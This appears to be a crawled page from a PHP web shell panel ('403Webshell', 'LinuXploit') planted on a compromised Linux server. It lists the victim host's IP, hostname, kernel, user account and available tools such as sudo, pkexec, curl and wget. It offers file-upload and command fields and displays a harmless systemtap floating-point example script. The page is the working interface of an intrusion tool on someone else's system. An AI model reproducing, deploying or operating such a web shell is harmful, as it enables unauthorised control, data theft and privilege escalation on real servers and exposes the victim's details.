403Webshell
Server IP : 104.21.25.180  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/systemtap/examples/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/systemtap/examples/general/floatingpoint.stp
#!/usr/bin/stap

function printlnfp(a) { println(fp_to_string(a,5)) }

probe process("stap").function("sdt_benchmark_thread") {
    a = $fp1
    b = string_to_fp("3.14")
    c = long_to_fp(2)
   
    printf("a : %s, b : %s, c : %s\n", fp_to_string(a,5), fp_to_string(b,5), fp_to_string(c,5))
    printf("round 3.14 to long : %ld\n", fp_to_long(b, 0, 0))
    
    print("a + b * c = ")
    printlnfp(fp_add(a, fp_mul(b, c)))

    printf("sqrt(b) < b / c : ")
    println(fp_lt(fp_sqrt(b), fp_div(b, c)))

    exit()
}

Youez - 2016 - github.com/yon3zu
LinuXploit